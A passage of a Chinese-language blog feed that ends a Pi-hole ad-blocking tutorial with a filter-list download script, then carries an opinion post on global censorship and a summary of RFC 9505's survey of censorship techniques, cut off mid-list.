3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">adblock.sh</code>,输入如下内容:</p><figure class="highlight shell" style="background: rgb(247, 247, 247); color: #4d4d4c; line-height: 1.6; margin: 0px auto 20px;"><div class="table-container" style="overflow: auto;"><table style="border-collapse: collapse; border-spacing: 0px; border: 0px; font-size: 0.875em; margin: 0px; width: auto;"><tbody><tr style="background: var(--table-row-odd-bg-color);"><td class="gutter" style="border: 0px; font-weight: normal; padding: 0px; user-select: none; vertical-align: middle;"><pre style="background: rgb(239, 242, 243); border: 0px; color: #869194; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; line-height: 1.6; margin: 0px; overflow: auto; padding: 10px; text-align: right;"><span class="line">1</span><br /><span class="line">2</span><br /><span class="line">3</span><br /><span class="line">4</span><br /><span class="line">5</span><br /><span class="line">6</span><br /><span class="line">7</span><br /></pre></td><td class="code" style="border: 0px; font-weight: normal; padding: 0px; vertical-align: middle;"><pre style="background: rgb(247, 247, 247); border: 0px; color: #4d4d4c; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; line-height: 1.6; margin: 0px; overflow: auto; padding: 10px 0px 10px 10px; width: 2162.48px;"><span class="line">curl -s -L https://easylist-downloads.adblockplus.org/easylistchina+easylist.txt https://easylist-downloads.adblockplus.org/malwaredomains_full.txt https://easylist-downloads.adblockplus.org/fanboy-social.txt > adblock.unsorted</span><br /><span class="line"></span><br /><span class="line">sort -u adblock.unsorted | grep ^\|\|.*\^$ | grep -v \/ > adblock.sorted</span><br /><span class="line"></span><br /><span class="line">sed 's/[\|^]//g' < adblock.sorted > adblock.hosts</span><br /><span class="line"></span><br /><span class="line">rm adblock.unsorted adblock.sorted</span><br /></pre></td></tr></tbody></table></div></figure><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/57.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 42" /><p style="margin: 0px 0px 20px;">保存并退出,然后执行<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">bash ./adblock.sh</code>,稍等片刻,之后就会生成一个包含大量域名的文件<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">adblock.hosts</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/58.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 43" /><p style="margin: 0px 0px 20px;">同样的在<strong style="font-weight: bolder;">Blocklists</strong>中填写规则地址,由于<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">adblock.hosts</code>文件是本地文件,所以规则的地址需要变化一下,将<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">http(s)://</code>替换为<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">file://</code>,之后在后面跟上文件的完整路径即可,此处的规则地址是<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">file:///opt/adblock.hosts</code></p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/60.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 44" /><ul><li><strong style="font-weight: bolder;">DNS查询分流</strong></li></ul><p style="margin: 0px 0px 20px;">这个功能在上一期中已经介绍过,在<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">/etc/dnsmasq.d</code>目录下引入<a href="https://github.com/felixonmars/dnsmasq-china-list" rel="noopener" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" target="_blank">dnsmasq-china-list</a>的配置文件即可,这里我依然使用软链接的方式进行添加,添加完成之后直接执行<code style="background: rgb(238, 238, 238); border-radius: 3px; color: #555555; font-family: consolas, Menlo, monospace, "PingFang SC", "Microsoft YaHei"; font-size: 1em; overflow-wrap: break-word; padding: 2px 4px;">pihole restartdns</code>即可重启Pi-hole服务</p><img class="" src="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/62.png" style="border-style: none; display: block; margin-bottom: 20px; margin-left: auto; margin-right: auto; max-width: 100%;" title="pihole 45" /><h2 id="总结" style="font-family: Lato, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 1.375em; font-weight: bold; line-height: 1.5; margin: 20px 0px 15px; padding-top: 10px;"><a class="headerlink" href="https://ksana410.github.io/2019/08/29/linux-router-06-block-ads-with-pi-hole/#%E6%80%BB%E7%BB%93" style="background: transparent; border-bottom: 1px solid rgb(153, 153, 153); color: var(--link-color); cursor: pointer; outline: 0px; overflow-wrap: break-word; text-decoration: none;" title="总结"></a>总结</h2><hr style="background-image: repeating-linear-gradient(-45deg, rgb(221, 221, 221), rgb(221, 221, 221) 4px, transparent 4px, transparent 8px); border: 0px; box-sizing: content-box; height: 3px; margin: 40px 0px; overflow: visible;" /><p style="margin: 0px 0px 20px;">至此Pi-hole算是搭建完成了,虽然广告过滤是使用了DNS解析过滤的方式,效果并不是特别好,但好处是不会影响网速,相比于浏览器插件而言,各有优缺点吧!</p><p style="margin: 0px 0px 20px;">如果想要自定义一些域名的处理方式的话,在左侧的<strong style="font-weight: bolder;">Whitelist</strong>和<strong style="font-weight: bolder;">Blacklist</strong>中可以手动进行调整,具体的就不展开了,大家有兴趣去自己尝试一下</p></div> <p></p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-17562085675193963022023-12-20T22:57:00.002+08:002023-12-20T22:57:08.281+08:00言论自由之战:从中国审查制度的反乌托邦现实对全球之警示<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">via <a href="https://here.news/story/aed0b2af?ver=0.02">https://here.news/story/aed0b2af?ver=0.02</a></p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">在一个充满驱逐、拒绝和动荡的世界里,一个共同的主题浮现出来 - 声音的压制和审查制度的兴起。从中国到土耳其,从津巴布韦到莫桑比克,甚至在坦桑尼亚,个人权利和言论自由正受到攻击。中国国有银行的前董事长因非法活动和贿赂被开除。土耳其总统塔伊普·埃尔多安宣布他拒绝承认LGBT社区,同时土耳其军队在叙利亚对激进目标进行攻击。巴勒斯坦伊斯兰教组织哈马斯对以色列发动重大攻击,前马达加斯加总统马克·拉瓦洛马纳在支持者集会期间受伤。俄罗斯宣布其打算撤销核条约的批准。在危地马拉,支持民主的示威遭到镇压威胁。来自不同国家的代表聚集起来,要求释放委内瑞拉外交官亚历克斯·萨布,并谴责以色列对巴勒斯坦人的虐待。在津巴布韦,政治人物乔布·西卡拉被拘留超过500天,引发了对司法系统完整性的担忧。突尼斯的两名逃犯实施了一起武装抢劫,导致高级情报官员被解职。前莫桑比克第一夫人格拉萨·马歇尔指责执政党被以私利为先的人所控制。在坦桑尼亚,改革的承诺被对反对派的镇压和对新闻自由的限制所掩盖。津巴布韦布拉瓦约的手推车操作员面临着因新法律而失去生计的威胁。</p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">在这种动荡的背景下,另一种形式的压制浮现出来 - 审查制度。前主流媒体工作者罗德尼·帕尔默讨论了审查对人民、民主和政府的影响。他认为审查是针对公民的一种强大武器,没有它,那些掌权者将一无所有。帕尔默强调了近年来媒体审查、机构审查和政府审查的普遍性。声音的压制和信息的限制进一步加剧了世界的不安和动荡。</p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">将这些故事联系在一起的共同主题是言论自由的斗争和审查的后果。无论是通过驱逐、拒绝还是压制声音,其影响都会被个人、社会甚至整个国家感受到。争取言论自由的斗争变成了正义、透明和民主的保卫战。</p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">在中国,言论自由之战呈现出反乌托邦的形式。由于审查,日常生活被政治化,使公共表达变得困难,并创造了许多禁忌。很难追踪国内可以和不可以说的内容。被审查的作家描述了审查和禁止某些概念是如何使作品变得难以理解。作者们在不一致和不连贯的修订中挣扎,段落被删除,整个作品被删除或锁定,个别词汇被打上星号。网民们试图使用模糊的字符组合来绕过审查,但自动审查可能很粗糙。敏感话题和政治术语被禁止,平台被迫自我审查或面临后果。国家反淫秽和非法出版物办公室甚至奖励举报违规行为的告密者。作者们自我审查,以避免作品被破坏或删除,读者们依靠相互理解的纽带在删减的行间阅读。尽管面临挑战,作者们仍决心继续写作和表达自己,抗拒审查的压迫性控制。</p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">言论自由之战是一场全球性的斗争,跨越国界,影响着来自各行各业的个人。这是一场反对声音的压制、信息的限制和民主的侵蚀的斗争。从中国的反乌托邦审查到各国对异见的压制,共同的主题很清楚 - 需要保护和维护言论自由的基本权利。</p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-6968085476386065592023-12-19T16:47:00.000+08:002023-12-19T16:47:03.972+08:00《全球审查技术调查》<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">via: <a href="https://datatracker.ietf.org/doc/html/rfc9505.txt">https://datatracker.ietf.org/doc/html/rfc9505.txt </a></p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">"《全球审查技术调查》是一份关于互联网审查方法的综合研究报告,主要关注用于阻止或损害互联网访问和通信的技术策略。报告分类讨论了互联网通信中的审查技术,包括网络层和应用层。它定义了与互联网审查相关的关键术语和概念,探讨了IP封锁、DNS篡改、数据包过滤和内容关键字过滤等方法。报告还讨论了深度包检测(DPI)和加密技术在规避审查中的作用,以及审查技术与对策之间的动态关系。此外,报告还考虑了审查的非技术方面,包括法律、政治和社会因素对审查技术实施的影响,以及这些方法对人权的影响。报告最后讨论了互联网审查的未来,强调了在这一领域继续进行研究和保持意识的必要性。"</p><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 1.25em 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;">文档中提到了中国审查技术的几个方面:</p><ol style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; -webkit-text-stroke-width: 0px; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: #374151; counter-reset: list-number 0; display: flex; flex-direction: column; font-family: Söhne, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, "Helvetica Neue", Arial, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; list-style: none; margin: 1.25em 0px; orphans: 2; padding: 0px; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;"><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">DNS响应操作</strong>:在中国,对某些被审查的域名进行查询会导致伪造的DNS响应。通过一个例子来演示,在中国查询一个被审查和未被审查的域名会产生不同的结果:未被审查的域名没有响应,而被审查的域名会返回一个伪造的IP地址。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">主动探测规避工具</strong>:中国已经开发出一种称为"主动探测"或"主动扫描"的有效技术来识别使用规避工具的主机。这种方法涉及审查者使用规避协议发起通信,以确定主机是否运行此类工具。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; counter-increment: list-number 1; display: block; margin-bottom: 0px; margin-top: 0px; min-height: 28px; padding-left: 0.375em;"><p style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; margin: 0px;"><strong style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 0 transparent; --tw-ring-offset-width: 0px; --tw-ring-shadow: 0 0 transparent; --tw-rotate: 0; --tw-scale-x: 1; --tw-scale-y: 1; --tw-scroll-snap-strictness: proximity; --tw-shadow-colored: 0 0 transparent; --tw-shadow: 0 0 transparent; --tw-skew-x: 0; --tw-skew-y: 0; --tw-translate-x: 0; --tw-translate-y: 0; border: 0px solid rgb(217, 217, 227); box-sizing: border-box; color: var(--tw-prose-bold); font-weight: 600;">封锁维基百科</strong>:截至2019年5月,中国已经封锁了维基百科的所有语言版本。</p></li><li style="--tw-border-spacing-x: 0; --tw-border-spacing-y: 0; --tw-ring-color: rgba(69,89,164,.5); --tw-ring-offset-color: #fff; --tw-ring-offset-shadow: 0 